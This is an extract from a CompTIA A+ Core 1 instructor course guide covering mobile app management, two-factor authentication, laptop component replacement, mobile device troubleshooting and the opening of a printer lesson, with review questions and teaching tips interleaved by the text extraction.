Opportunity corporate data and prevents data transfer to personal apps. This type of solution
Have students configures an enterprise-managed container or workspace.
browse some of the
links to the vendor Examples of EMM solution providers include VMWare Workspace ONE (vmware.
sites to identify the com/products/workspace-one.html), Microsoft Endpoint Manager/Intune
capabilities of these
(microsoft.com/en-us/security/business/microsoft-endpoint-manager), Symantec/
suites.
Broadcom (broadcom.com/products/cyber-security/endpoint/end-user/protection-
mobile), and Citrix Endpoint Management (citrix.com/products/citrix-endpoint-
management).
When a device is enrolled with the MAM software, it can be configured into
an enterprise workspace mode in which only a certain number of authorized
corporate applications can run. For example, the app(s) used for corporate email,
calendar, and contacts would store settings and data separately from the app used
for personal email. Messages and attachments sent from the account might be
subject to data loss prevention (DLP) controls to prevent unauthorized forwarding
of confidential or privacy-sensitive data.

Endpoint management software such as Microsoft Intune can be used to approve or prohibit apps.
(Screenshot courtesy of Microsoft.)

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Apple operates enterprise developer and distribution programs to allow private app
distribution via Apple Business Manager (developer.apple.com/business/distribute).
Google's Play store has a private channel option called Managed Google Play. Both
these options allow a MAM suite to push apps from the private channel to the
device.

Two-factor Authentication
Most smartphones and tablets are single-user devices. Access control can be Show
implemented by configuring a screen lock that can only be bypassed using the Slide(s)
correct password, personal identification number (PIN), or swipe pattern. Many Two-factor
devices now support biometric authentication, usually as a fingerprint reader but Authentication
sometimes using facial or voice recognition.
Teaching
When enrolled with an enterprise management app, the user might have Tip
to re-authenticate to access the corporate workspace. The corporate policy You might want to
might require stronger authentication methods, such as the use of two-factor note that Google,
authentication (2FA). 2FA means that the user must submit two different kinds Microsoft, and some
of credential to authenticate, such as both a fingerprint and a PIN. Alternatively, other vendors refer
the account might be configured with an authenticator device or app, a trusted to this mechanism
as 2-step verification
email account, or registered phone number. When the user uses a new device
rather than 2FA. There
to access the account, or when the workspace policy requires 2FA, the user must are lots of ways of
first authenticate normally, using a fingerprint, for instance. If this is accepted, implementing this.
an email, text, or phone call is generated as a notification on the trusted You might want to
authenticator app or device. The message may include a one-time password code encourage students to
for the user to input to confirm that the sign-in attempt is legitimate. do some research on
Google Authenticator,
Microsoft
Authenticator, and
VMware Verify as
examples.

Configuring authentication and profile policies using Intune EMM. Note that the policy allows the
user to have a different type of authentication to the workspace hosting corporate apps and data.
(Screenshot courtesy of Microsoft.)

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Location Services
Show Geolocation is the use of network attributes to identify (or estimate) the physical
Slide(s) position of a device. A mobile device operates a location service to determine its
Location Services current position. The location service can make use of two systems:
• Global Positioning System (GPS) is a means of determining the device's latitude
and longitude based on information received from orbital satellites via a GPS
sensor. Note that not all mobile devices are fitted with GPS sensors.

• Indoor Positioning System (IPS) works out a device's location by triangulating

its proximity to other radio sources, such as cellular radio towers, Wi-Fi access
points, and Bluetooth/RFID beacons.

As the location service stores highly personal data, it is only available to an app
where the user has granted specific permission to use it.

Configuring location services in iOS (left) and Android (right). (Screenshots reprinted with
permission from Apple Inc., and Android platform, a trademark of Google LLC.)

Some mobile devices are additionally fitted with a magnetometer sensor. This enables
more accurate compass directions.

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Review Activity:
Mobile Device Apps
7

Answer the following questions: Show

Slide(s)
Review

Teaching
1. Why must a vendor account usually be configured on a smartphone? Tip
A vendor account, such as an Apple, Google, or Samsung account, is required to use Take some time at
the app store. the end of each topic
to answer questions.
2. Which types of data might require mapping between fields when syncing You can use the
review questions
between applications? for discussion in
class or set them for
Contacts and calendar items. students to complete
individually during or
3. How do you configure an autodiscover-enabled email provider on a after class.
smartphone?

Just select the provider then enter the email address. If the account is detected, you
will be prompted for the password.

4. A company has discovered that an employee has been emailing product

design documents to her smartphone and then saving the files to the
smartphone’s flash drive. Which technology can be deployed to prevent
such policy breaches?

Mobile application management (MAM) allows an enterprise to create a protected

container as a workspace for corporate apps and data and prevent copying to other
storage areas.

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Topic 8C
Show
Slide(s) Install and Configure Laptop
Install and Configure
Laptop Hardware
Hardware
5

Teaching
Tip
CORE 1 EXAM OBJECTIVES COVERED
This objective is 1.1 Given a scenario, install and configure laptop hardware and components.
reduced in scope
compared to the
previous version of the
syllabus, which tested Laptops present fewer upgrade opportunities than desktop PCs, but there is still
complete disassembly the chance of maximizing the lifetime of a device by adding RAM or replacing the
of laptops down to DC
jack replacement.
battery or fixed disk. Also, as portable devices, laptops suffer more from wear and
tear and with a stock of replacement parts, repairs to items such as the keyboard
can be much more economical than buying a new laptop. In this topic, you will
learn best practice procedures for installing, replacing, and upgrading laptop
components

Laptop Disassembly Processes

Show Laptops have specialized hardware designed especially for use in a portable chassis
Slide(s) and can run on battery or AC power. Laptops use the same sort of operating
Laptop Disassembly systems as desktop PCs, and unlike smartphones and tablets, typically have some
Processes upgradeable or replaceable components.
Teaching
Tip
This doesn’t relate
to a specific content
example, but make
sure students
are aware of the
differences between
laptops and PCs
when it comes to
tools and procedures
used for hardware
replacement.

Distinctive features of a laptop computer, including the built-in screen, integrated keyboard,
touchpad pointer control, and I/O ports (on both sides and rear of chassis). (Image © 123RF.com)

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When it comes to performing upgrades or replacing parts, there are some issues
specific to laptops that you should be aware of.

Hand Tools and Parts

Laptops use smaller screws than are found on desktops. You may find it useful to
obtain a set of precision screwdrivers and other appropriate hand tools. It is also
much easier to strip the screws—remove the notch for the screwdriver—take care
and use an appropriately sized screwdriver!
You need to document the location of screws of a specific size and the location and
orientation of ribbon cables and other connectors. It can be very easy to remove
them quickly during disassembly and then to face a puzzle during reassembly.

A useful tip is to take a photo of the underside of the laptop and print it out. As you
remove screws, tape them to the relevant point in your picture. This ensures you will not
lose any and will know which screw goes where. Photograph each stage of disassembly
so you know where to re-fit cables and connectors.

As with a desktop, organize parts that you remove or have ready for installation
carefully. Keep the parts away from your main work area so that you do not
damage them by mistake. Keep static-sensitive parts, such as the SSDs, memory
modules, and adapter cards, in anti-static packaging.

Form Factors and Plastics/Frames

The laptop chassis incorporates the motherboard, power supply, display screen,
keyboard, and touchpad. The plastics or aluminum frames are the hard surfaces
that cover the internal components of the laptop. They are secured using either
small screws or pressure tabs. Note that screws may be covered by rubber or
plastic tabs.
Make sure you obtain the manufacturer's service documentation before
commencing any upgrade or replacement work. This should explain how to
disassemble the chassis and remove tricky items, such as plastic bezels, without
damaging them. You should only perform this work if a warranty option is not
available.

Battery Replacement
Portable computers can work off both building power and battery operation. Show
Slide(s)
AC Adapters Battery Replacement
To operate from building power, the laptop needs a power supply to convert Teaching
the AC supply from the power company to the DC voltages used by the laptop's Tip
components. The power supply is provided as an external AC adapter. AC adapters Not all AC adapters
are normally universal (or auto-switching) and can operate from any 110–240 VAC and batteries are
50/60 Hz supply, though do check the label to confirm. created equal. Point
out that the size and
shape of DC jacks
and laptop batteries
vary greatly even
between laptop
models from the
same manufacturer.
Also note that not
all laptops have field
replaceable batteries
these days.

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A laptop AC adapter. (Image by Olga Popova © 123RF.com)

Plugging a fixed-input 220–240 V adapter into a 110–120 V supply won't cause any
damage (though the laptop won't work), but plugging a fixed-input 110–120 V adapter
into a 220–240 V supply will likely cause damage.

AC adapters are also rated for their power output (ranging from around 65–120 W).
Again, this information will be printed on the adapter label. The AC adapter
connects to the laptop via a DC jack or a USB port.

Battery Power
Laptop computers use removable, rechargeable Lithium ion (Li-ion) battery packs.
Li-ion batteries are typically available in 6-, 9-, or 12-cell versions, with more cells
providing for a longer charge. The connector and battery-pack form factor are
typically specific to the laptop vendor and to a range/model.
Before inserting or removing the battery pack, you must turn the machine off and
unplug it from the AC wall outlet. A portable battery is usually removed by releasing
catches on the back or underside of the laptop.

A removable laptop battery pack. (Image by cristi180884 © 123RF.com)

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The battery recharges when the laptop is connected to the AC adapter and is
connected to power. When the laptop is in use, the battery is trickle charged. A
laptop should come with a power management driver to ensure a proper charging
regime and prevent repeated trickle charging from damaging it. Li-on battery life
is affected by being fully drained of charge and by being held continually at 100%
charge. Balanced power charging stops trickle charging at 80%. Li-ion batteries are
also sensitive to heat. If storing a Li-ion battery, reduce the charge to 40% and store
at below 20ºC.

Customization in MyASUS V3.1.0.0. MyASUS laptop app with customizable power plans. Balanced
mode prevents the battery from being continually trickle charged to 100%, which can reduce its
operational life. (Screenshot used with permission from ASUSTek Computer Inc.)

Li-ion batteries hold less charge as they age and typically have a maximum usable life
of around 2–3 years. If you charge a battery and the run time is substantially decreased,
you may need to purchase a new battery.

RAM and Adapter Replacement

Laptops have fewer field-replaceable units (FRU) than desktops. That said, laptop Show
components and designs have become better standardized. Using components Slide(s)
sourced from the laptop vendor is still recommended, but basic upgrade options, RAM and Adapter
such as system memory and fixed disks, have become much simpler. Replacement
Some FRUs can be accessed easily by removing a screw plate on the back cover
Teaching
(underside) of the laptop. This method generally provides access to the fixed disk,
Tip
optical drive, memory modules, and possibly adapter card slots for components
Again, note that
such as Wi-Fi cards and cellular radios.
not all laptops
will support field
Upgrading RAM Modules replacement/upgrade
of peripherals.
Laptop DDRx SDRAM is packaged in small outline DIMMs (SODIMMs). As with
DIMMs, a given SODIMM slot will only accept a specific type of DDR. For example,
you cannot install a DDR4 SODIMM in a DDR3 slot. The slots are keyed to prevent
incompatible modules from being installed.

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Interaction
Opportunity
If you can provide
examples of devices
with the different
connector types
exposed, that will
help students'
understanding. If not,
get them to search for
images of the different
slot types.

Two SODIMM RAM modules. The modules stack one over the other. When the side catches are
released, the modules pop up at an angle for easy removal. (Image courtesy of CompTIA.)

A SODIMM slot pops-up at a 45º angle to allow the chips to be inserted or removed.
Sometimes one of the memory slots is easily accessible via a panel, but another
requires more extensive disassembly of the chassis to access.

There are a couple of other laptop memory module form factors, including Mini-DIMM
and Micro-DIMM. These are smaller than SODIMM and used on some ultraportable
models. Always check the vendor documentation before obtaining parts for upgrade or
replacement.

Upgrading Adapter Cards

Depending on the design, adapters for modems, wireless cards, and SSD storage
cards may be accessible and replaceable via screw-down panels. Note that there
are several adapter formats, notably Mini PCIe, mSATA, and M.2, none of which are
compatible with one another.
You can obtain mini PCIe or M.2 adapters for laptops that will provide some
combination of Wi-Fi, Bluetooth, and/or cellular data connectivity. Remember that
when upgrading this type of adapter, you need to re-connect the antenna wires
used by the old adapter or install a new antenna kit. The antenna wires are usually
routed around the screen in the laptop's lid. The antenna connections can be fiddly
to connect and are quite delicate, so take care.

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Wi-Fi adapter installed as a mini PCIe card. Note the antenna wire connections.
(Image courtesy of CompTIA.)

If installing an adapter with GSM or LTE cellular functionality, remember to insert

the SIM card as well.

Disk Upgrades and Replacement

A laptop typically supports one internal mass storage device only, with extra storage Show
attached to an external port. This means that to upgrade the fixed disk, there must Slide(s)
be a plan for what to do with existing data: Disk Upgrades and
• Migration means using backup software to create an image or clone of the old Replacement
drive and store it on USB media. When the new drive has been installed, the Teaching
system image can be restored to it. A system image is technology neutral, so an Tip
image of an HDD can be applied to an SSD. However, the new drive must be the We have already
same size or larger than the old one, unless using a cloning tool that can shrink covered disk
the source image. interfaces, so you
should be able to
move quickly through
As an alternative to using a third USB drive to store the image, a disk enclosure allows this. Note that backup
you to connect an internal drive temporarily as an external drive. You can then migrate and OS installation
the image directly to the SSD before removing the old drive and installing the new one. types are covered
in more detail in the
Core 2 course.
• Replacement means that only data is backed up from the old drive. The new
drive is then fitted to the laptop and an OS plus apps installed. User data can
then be restored from backup.

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The fixed disk can usually be accessed via a panel, but you may have to open the
chassis on some models.
Laptop HDDs are usually 2.5″ form factor, though sometimes the 1.8″ form factor
is used. Compared to 3.5″ desktop versions, magnetic 2.5″ HDDs tend to be slower
(usually 5400 rpm models) and lower capacity. Within the 2.5″ form factor, there are
also reduced height units designed for ultraportable laptops. A standard 2.5″ drive
has a z-height of 9.5 mm; an ultraportable laptop might require a 7 mm (thin) or
5 mm (ultrathin) drive.

A laptop HDD with SATA interface. (Image © 123RF.com)

Magnetic drives use ordinary SATA data and power connectors, though the
connectors on the drive mate directly to a port in the drive bay, without the use of a
cable. Drive bays measuring 1.8″ might require the use of the micro SATA (μSATA or
uSATA) connector.
An SSD flash storage device can also use the SATA interface and connector form
factors but is more likely to use an adapter card interface:
• mSATA—An SSD might be housed on a card with a Mini-SATA (mSATA) interface.
These cards resemble Mini PCIe cards but are not physically compatible with
Mini PCIe slots. mSATA uses the SATA bus, so the maximum transfer speed is
6 Gb/s.

• M.2—An M.2 SSD usually interfaces with the PCI Express bus, allowing much
higher bus speeds than SATA. M.2 adapters can be different lengths (42 mm,
60 mm, 80 mm, or 110 mm), so you should check that any given adapter will fit
within the laptop chassis. The most popular length for laptop SSDs is 80 mm
(M.2 2280).

The specific M.2 form factor is written as xxyy, where xx is the card width and yy is the
length. For example, 2280 means a card width of 22 mm and a length of 80 mm.

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Keyboard and Security Component Replacement

As mechanical devices, components such as the keyboard, touch pad, and biometric Show
sensors can easily be damaged. If parts can be obtained from the vendor, it can be Slide(s)
more cost-effective to replace damaged components than buy a new laptop. Keyboard and
Security Component
Keyboard and Touchpad Replacement Replacement

When you are replacing components such as the keyboard and touchpad, you Teaching
will almost always need to use the same part as was fitted originally. Accessing Tip
the parts for removal and replacement might require complete disassembly of the Explain that specific
chassis or might be relatively straightforward—check the service documentation. details of how
the keyboard/
Each part connects to the motherboard via a data cable, typically a flat ribbon type. touchpad/biometrics
The cable is held in place by a latch that must be released before trying to remove components are
the cable and secured after insertion. provisioned is vendor-
and model-specific.
When replacing an input device, use the OS/driver settings utility or app to They might be
configure it. A keyboard should be set to the correct input region. Touchpads need separate components
to be configured to an appropriate sensitivity to be comfortable for the user. or be functions of an
integrated device.
Remind students that
Key Replacement they must consult the
system documentation
In some circumstances, it might be economical to lift a single key for cleaning or before proceeding.
replacement. Carefully pry off the plastic key cap with a flat blade to expose the
retainer clip. The retainer clip can also be removed for cleaning, but it is fragile so
take care. To replace, line up each component carefully and then push to snap it
back into place.

Biometric Security Components

A biometric sensor allows users to record a template of a feature of their body
that is unique to them. On a laptop, this is typically implemented as a fingerprint
scanner, though the camera can also be used to make facial scans or to scan an iris
eye pattern. A fingerprint sensor might be installed as a separate component or
might be a feature of the keyboard or touchpad.
A fingerprint reader board is attached to the motherboard by a flat ribbon cable in
the same way as the keyboard and touchpad.

If a laptop does not have an integrated fingerprint scanner, it is possible to obtain

models that connect to a USB port.

A biometric sensor is configured in conjunction with an authenticator app, such as

Windows Hello.

Near-field Scanner
A near-field communication (NFC) scanner on a laptop is primarily used to pair
peripheral devices or to establish a connection to a smartphone. This is configured
via the vendor’s app.
NFC might be implemented as a feature of the keyboard, touchpad, or fingerprint
reader. As well as the data connection to the motherboard, the NFC sensor must be
connected to its antenna.

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Review Activity:
Laptop Hardware
6

Show Answer the following questions:

Slide(s)
Review

Teaching
1. Several laptops need to be replaced in the next fiscal cycle, but that
Tip
doesn't begin for several months. You want to improve functionality as
Take some time at much as possible by upgrading or replacing components in some of the
the end of each topic
laptops that are having problems. Which items are most easily replaced
to answer questions.
You can use the in a laptop?
review questions
for discussion in The fixed drive, system memory (RAM), and plug-in wireless card will be the
class or set them for easiest upgradable components to install. If items need repairing, the battery,
students to complete touchpad, and the keyboard should be straightforward to replace, if you can obtain
individually during or compatible parts.
after class.
2. What is the process for installing memory in a laptop?

Verify that the DDR version of the upgrade module is supported by the
motherboard. Take anti-static precautions. Locate the memory slot, which is usually
accessed via a panel on the back cover. Move the connector up to 45º and insert the
memory card, taking care to align it correctly. Push the card flat again.

3. What type of standard adapter card might be used to connect internal

FRU devices to the motherboard of a laptop?

Mini-PCIe, mSATA, or M.2.

4. A technician is performing a keyboard replacement and asks for your

help. The data cable for the old keyboard will not pull out. How should it
be removed?

This type of flat data connector is secured by a latch. Pop the latch up before trying
to remove the cable.

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Topic 8D
Troubleshoot Mobile Device Issues
5

CORE 1 EXAM OBJECTIVES COVERED Show

5.5 Given a scenario, troubleshoot common issues with mobile devices. Slide(s)
Troubleshoot Mobile
Device Issues
Part of your duties as a CompTIA A+ technician will be helping users when they Teaching
encounter problems with their mobile devices. In this topic, you will troubleshoot Tip
mobile device hardware issues. Work through each
symptom to identify
Power and Battery Issues the range of potential
causes.
If you experience problems working from AC power, first test the outlet with a Show
“known good” device (such as a lamp). Next, check that an LED on the AC adapter is Slide(s)
green. If there is no LED, check the fuse on the plug, and if available, try testing with Power and Battery
a known good adapter. Issues

Sometimes AC adapters can get mixed up. If an underpowered adapter is used—for

example, a 65 W adapter is plugged into a 90 W system—the laptop will display a
warning at boot time.

If a mobile device will not power on when disconnected from building power, first
check that the battery is seated properly in its compartment. Also check whether
the battery contacts are dirty. You can clean them using swabs.
If the battery is properly inserted and the mobile device does not switch on or only
remains on for a few seconds, it is most likely completely discharged. A battery
exhibiting poor health will not hold a charge. This means that the battery is at the
end of its useful life. You can test this by using a known good battery. If a known
good battery does not work, then there is something wrong with the power circuitry
on the motherboard.
While laptop batteries are replaceable, few smartphones or tablets come with
removable battery packs. Most vendors try to design their devices so that they
will support “typical” usage for a full day without charging. As the battery ages, it
becomes less able to hold a full charge. If it is non-removable, the device will have
to be returned to the vendor for battery replacement.

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Mobile handset with cover removed—the battery is accessible but not designated as
user-removable. (Image by guruxox © 123RF.com)

Improper Charging Symptoms

Properly caring for the battery not only prolongs battery life but also mitigates
health and safety risks. Use the battery charger provided by the manufacturer or
an approved replacement charger. Using an incorrect battery charging cable or
exposing a battery to extreme heat carries risks of fire or even explosion.

Exercise caution when leaving batteries to recharge unattended (for example, overnight).
Do not leave a battery charger close to flammable material, and ensure there is plenty
of ventilation around the unit.

An improper charging routine will reduce the usable life of a battery. Follow
manufacturer instructions on the proper charging and discharging of the battery.
Make use of power management features included with your device/OS to prolong
battery life. A Li-ion battery should not be allowed to fully discharge regularly or be
kept persistently at 100% charge, as this reduces battery life.
As batteries age, the maximum charge they can sustain decreases, so short battery
life will usually indicate that the battery needs replacing. If the battery is not old or
faulty, you could suspect that an app is putting excessive strain on the battery. You
can use an app to check battery utilization.

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Battery status and notifications in iOS (left) and Android (right). (Screenshots reprinted with
permission from Apple Inc., and Android platform, a trademark of Google LLC.)

Swollen Battery Symptoms

If you notice any swelling from the battery compartment, discontinue use of the
mobile device immediately. Signs that the battery has swollen can include a device
that wobbles when placed flat on a desk or a deformed touchpad or keyboard. A
swollen battery indicates some sort of problem with the battery's charging circuit,
which is supposed to prevent overcharging. If a device is exposed to liquid, this
could also have damaged the battery.
Li-ion batteries are designed to swell to avoid bursting or exploding, but great care
must be taken when handling a swollen battery to avoid further damage. A swollen
battery is a fire hazard and could leak hazardous chemicals—do not allow these
to come into contact with your skin or your eyes. If the battery cannot be released
safely and easily from its compartment, contact the manufacturer for advice. You
should also contact the manufacturer for specific disposal instructions. A swollen
battery should not be discarded via standard recycling points unless the facility
confirms it can accept batteries in a potentially hazardous state.

Manufacturing defects in batteries and AC adapters often occur in batches. Make sure
you remain signed up to the vendor's alerting service so that you are informed about
any product recalls or safety advisories.

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Hardware Failure Issues

Show Mobile devices are more susceptible to mechanical problems than most desktop
Slide(s) PCs, so you should be alert to the symptoms of hardware failure.
Hardware Failure
Issues Overheating Symptoms
The compact design of mobile devices makes them vulnerable to overheating. The
bottom surface of a laptop becomes hot when improperly ventilated. This can easily
happen when laptops are put on soft surfaces, on people's laps, or in places where
there is not enough room between the vents and a wall. Laptop cooling (or chiller)
pads are accessories that are designed to sit under the laptop to maximize airflow
and protect a user from getting a burn from a device overheating.
Dust trapped in vents acts as an insulator and can prevent proper cooling.
Handheld devices use passive cooling and therefore can become quite warm when
used intensively. High screen brightness and use of the flashlight function will
rapidly increase heat. A mobile device will start to overheat quickly when exposed
to direct sunlight. Devices have protective circuitry that will initiate a shut down if
the internal temperature is at the maximum safe limit. You can also use an app to
monitor the battery temperature, and then compare that to the operating limits.
Generally speaking, approaching 40⁰C is getting too warm.

Liquid Damage Symptoms

Some mobile-device cases provide a degree of waterproofing. Waterproofing is
rated on the Ingress Protection (IP) scale. A case or device will have two numbers,
such as IP67. The first (6) is a rating for repelling solids, with a 5 or 6 representing
devices that are dust protected and dust proof, respectively. The second value (7)
is for liquids, with a 7 being protected from immersion in up to 1 m and 8 being
protected from immersion beyond 1 m.
If dust protection is unrated, the IP value will be IPX7 or IPX8.

If a mobile device is exposed to liquid damage, there may be visible signs of

water under the screen. The screen might display graphics artefacts or not show
an image. Even if there is no visible sign, power off the device immediately if you
suspect liquid damage. Dry as much excess liquid as possible. If you suspect that
the internal components have been exposed, the device must be disassembled to
fully dry. Once dry, clean the circuit boards and contacts. The battery will usually
need to be replaced.

Physically Damaged Port Symptoms

Improper insertion and removal of connectors can easily damage the external
ports of a mobile device. If a port is damaged, the connector may be loose or may
no longer fit. There may be no data connection at all, or it might be intermittent.
The device may fail to charge properly.
Educate users to remove a connector by holding the connector and pulling it
straight. A connector should not be jiggled to remove it. USB-C and Lightning
connectors are reversible. Make sure users take care to orient other connector
types properly before plugging them in.

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Screen and Calibration Issues

When you are troubleshooting a mobile display issue, you will often need to take Show
into account the use of the integrated display and/or an external display and how to Slide(s)
isolate a problem to a particular component, such as the graphics adapter, display Screen and
panel, backlight, and digitizer. Calibration Issues
If there is no image on the screen, check that the video card is good by using an
external monitor. Alternatively, there should be a very dim image on the display
if the graphics adapter is functioning, but the backlight has failed. Most screens
use LED backlights. Older laptops might use an inverter component to power a
fluorescent backlight.

As well as the display itself, it is common for the plastics around a laptop case to get
cracked or broken and for the hinges on the lid to wear out. The plastics are mostly
cosmetic (though a bad break might expose the laptop's internal components to greater
risks), but if the hinges no longer hold up the screen, they will have to be replaced.

Broken Screen Issues

Mobile devices are very easy to drop, and while the glass is designed to be tough,
impacts on a hard surface from over 1m in height will usually result in cracking
or shattering. If only the glass layer is damaged, the digitizer and display may
remain usable, to some extent. A broken screen is likely to require warranty or
professional services to repair it, however.

If there are no visible cracks, the screen or digitizer circuitry may have been damaged
by liquid.

Digitizer Issues
Symptoms such as the touch screen not responding to input indicate a problem
with the digitizer. If you can discount shock and liquid damage, try the following
tests:
• Verify that the touchscreen and the user’s fingers are clean and dry.

• If a screen protector is fitted, check that it is securely adhered to the surface and
that there are no bubbles or lifts.

• Check that there is not a transitory software problem by restarting the device.
Holding the power button (Android) or Sleep and Home buttons (iPhone) for a
few seconds will force the device to perform a soft reset.

• Try using the device in a different location in case some source of

electromagnetic interference (EMI) is affecting the operation of the digitizer.

• If the device has just been serviced, check that the right wires are still connected
in the right places for the digitizer to function. Remember to ask, “What has
changed?”

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Cursor Drift/Touch Calibration Issues

On a laptop, if touchpad sensitivity is too high, typing can cause vibrations that
move the cursor. Examples include the pointer drifting across the screen without
any input or a “ghost cursor” jumping about when typing. Install up-to-date drivers
and configure input options to suit the user. Many laptops now come with a Fn key
to disable the touchpad.
If you can rule out simple hardware causes, unresponsive or inaccurate touch input
can be an indication of resources being inadequate (too many open apps) or badly
written apps that hog memory or other resources. A soft reset will usually fix the
problem in the short term. If the problem is persistent, either try to identify whether
the problem is linked to running a particular app or try freeing space by removing
data or apps. Windows devices and some versions of Android support re-calibration
utilities, but if you cannot identify another cause, then you are likely to have to look
at warranty repair.

Connectivity Issues
Show Wi-Fi and Bluetooth connectivity issues on a mobile can be approached in
Slide(s) much the same way as on a PC. Problems can generally be categorized as either
Connectivity Issues
relating to “physical” issues, such as interference, or to “software” configuration
problems.
Consider these guidelines when you are troubleshooting issues with
communication and connectivity:
• Verify that the adapter is enabled. Check the status of function key toggles on
a laptop, or use the notification shade toggles on a mobile device to check
that airplane mode has not been enabled or that the specific radio is not
disabled.

• If a laptop has been serviced recently and wireless functions have stopped
working, check that the antenna connector has not been dislodged or wrongly
connected.

• If a wireless peripheral such as a Bluetooth mouse or keyboard that has been

working stops, it probably needs a new battery.

• If you experience problems restoring from hibernate or sleep mode, try cycling
the power on the device or reconnecting it and checking for updated drivers for
the wireless controller and the devices.

If you are experiencing intermittent connectivity issues:

• Try moving the two devices closer together.

• Try moving the devices from a side-to-side or up-and-down position to a

different position or changing the way in which the device is held.

The radio antenna wire for a mobile will be built into the case (normally around the
screen). On some devices, certain hand positions can stop the antenna from functioning
as well as it should.

• Consider using a Wi-Fi analyzer to measure the signal strength in different

locations to try to identify the source of interference.

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Network Cell Info Lite showing cell tower connection status in the top gauge and Wi-Fi in the
lower gauge. (Screenshot used with permission from M2Catalyst, LLC).

A similar utility (Cell Tower Analyzer or GSM Signal Monitor) can be used to analyze
cellular radio signals, which use different frequencies than Wi-Fi uses. An app might
combine both functions.

Malware Issues
Whenever a device does not function as expected, you should assess whether it Show
could be infected with malware. Consider the following scenarios: Slide(s)
• Malware or rogue apps are likely to try to collect data in the background. They Malware Issues
can become unresponsive and might not shut down when closed. Such apps Teaching
might cause excessive power drain and high resource utilization, potentially Tip
leading to overheating problems.
Note that malware is
covered in much more
• Another tell-tale sign of a hacked device is reaching the data transmission
detail in the Core 2
overlimit unexpectedly. Most devices have an option to monitor data usage and course.
have limit triggers to notify the user if the limit has been reached. This protects
from large data bills but should also prompt the user to check the amount of
data used by each application in order to monitor their legitimacy.

• Malware may try to use the camera or microphone to record activity. Check that
the camera LED is not activated.

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Review Activity:
6
Mobile Device Issues
Show Answer the following questions:
Slide(s)
Review

Teaching
Tip
1. You are troubleshooting a laptop display. If the laptop can display
an image on an external monitor but not on the built-in one, which
Take some time at
the end of each topic
component do you know is working, and can you definitively say which is
to answer questions. faulty?
You can use the
review questions The graphics adapter is working. The problem must exist either in the cabling to the
for discussion in built-in screen or with a screen component, such as an inverter, backlight, or the
class or set them for display panel itself. Further tests will be required to identify which.
students to complete
individually during or 2. You received a user complaint about a laptop being extremely hot to the
after class. touch. What actions should you take in response to this issue?

Overheating can be a sign that dust and dirt is restricting the necessary airflow
within the device, so start by cleaning the ventilation duct with compressed air, and
then make sure that the device is getting proper air circulation around the outside
of the case, such as by supplying a chiller pad.

3. A user complains that their Bluetooth keyboard, which has worked for
the last year, has stopped functioning. What would you suggest is the
problem?

The batteries in the keyboard have run down—replace them.

4. A laptop user reports that they are only getting about two hours of use
out of the battery compared to about three hours when the laptop was
first supplied to them. What do you suggest?

Batteries lose maximum charge over time. It may be possible to recondition the
battery or to use power-saving features, but the only real way to restore maximum
battery life is to buy a new battery.

5. A laptop user is complaining about typing on their new laptop. They

claim that the cursor jumps randomly from place to place. What might
be the cause of this?

The user could be touching the touchpad while typing, or vibrations could be
affecting the touchpad. Update the driver or reduce the sensitivity/disable touch
and tap events.

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Lesson 8
Summary
6

You should be able to set up and troubleshoot mobile-device accessories, Show

connectivity, and applications. Slide(s)
Summary
Guidelines for Supporting Mobile Devices
Teaching
Follow these guidelines to support the use of smartphones, tablets, and laptops by
Tip
your users:
Try to include some
• Document supported display types (LCD IPS, LCD TN, LCD VA, OLED) and time at the end
connection methods (USB, Lightning, Serial, Bluetooth, NFC, Wi-Fi, and Cellular) of each lesson to
to facilitate issue identification and maintain a spare parts inventory. check students'
understanding and
• Educate users on procedures for enabling/disabling radios, using connector answer questions.
cables correctly, and pairing Bluetooth peripherals to reduce support calls.

• Identify support procedures to help users manage Microsoft 365, Google

Workspace, and iCloud digital identities.

• Identify support procedures to assist users synchronizing mail, photos, calendar,

and contacts between devices and cloud services and recognizing data caps.

• Create work instructions for enrolling devices in MDM/MAM suites and

configuring corporate email, apps, and two-factor authentication.

• Create work instructions and prepare inventory to support laptop repair and
upgrade tasks, such as battery, keyboard/keys, RAM, HDD/SSD migration,
wireless cards, and biometric/NFC security components.

• Establish a knowledge base to document symptoms and solutions to common

issues, such as poor battery health, swollen battery, broken screen, improper
charging, poor/no connectivity, liquid damage, overheating, digitizer issues,
physically damaged ports, malware, and cursor drift/touch calibration.

Additional practice questions for the topics covered in this lesson are available on the
CompTIA Learning Center.

Lesson 8: Supporting Mobile Devices

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 Lesson 9
Supporting Print Devices
1

LESSON INTRODUCTION
Despite predictions that computers would bring about a paperless office Show
environment, the need to transfer digital information to paper or back again Slide(s)
remains strong. As a CompTIA® A+® certified professional, you will often be called Objectives
upon to set up, configure, and troubleshoot print and scan devices. Having a
working knowledge of the many printer technologies and components will help you Teaching
to support users’ needs in any technical environment. Tip
We conclude the
Lesson Objectives Core 1 course by
looking at print
device configuration,
In this lesson, you will: maintenance, and
• Deploy printer and multifunction devices. troubleshooting. While
office printing is less
• Replace print device consumables. prevalent than it used
to be, print devices
• Troubleshoot print device issues. are critical to many
industries (receipt
printing, for instance)
and 3-D printing is
becoming much more
widely adopted.
This is another
section where at least
some knowledge of
Windows is assumed.
You might want to
consider trying to
complete Core 2
before discussing
printing.

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Topic 9A
Deploy Printer and
Multifunction Devices
2

Show CORE 1 EXAM OBJECTIVES COVERED

Slide(s) 3.6 Given a scenario, deploy and configure multifunction devices/printers and settings.
Deploy Printer and
Multifunction Devices
Although the different technologies used in various printer types affect
Teaching
maintenance and troubleshooting, the type of printer does not substantially affect
Tip
the way it is installed and configured in an operating system, such as Windows, or
This topic focuses
shared on a network. The skills you will learn in this topic should prepare you to
on the OS side of
printing—connecting install, share, and configure a printer effectively and securely.
to hosts, sharing print
devices, and securing
print services. We also
Printer Unboxing and Setup Location
look at network scan
services.
A printer type or printer technology is the mechanism used to make images on
the paper. The most common types for general home and office use are inkjet (or
Show ink dispersion) and laser, though others are used for more specialist applications.
Slide(s) Some of the major print device vendors include HP, Epson, Canon, Xerox, Brother,
Printer Unboxing and OKI, Konica/Minolta, Lexmark, Ricoh, and Samsung.
Setup Location
There is a distinction between the software components that represent the printer and
Teaching the physical printer itself. The software representation of the printer may be described
Tip as the "printer object," "logical printer," or simply "printer." Terms relating to the printer
Note that operational
hardware include "print device" or "physical printer." Be aware that "printer" could
procedures to ensure mean either the physical print device or the software representation of that device. Pay
a safe working attention to the context in which these terms are used.
environment are
covered in more detail
in the Core 2 course. The following criteria are used to select the best type and model of printer:
• The basic speed of a printer is measured in pages per minute (ppm). You will
see different speeds quoted for different types of output. For example, pages of
monochrome text will print more quickly than color photos.

• The maximum supported resolution, measured in dots per inch (dpi),

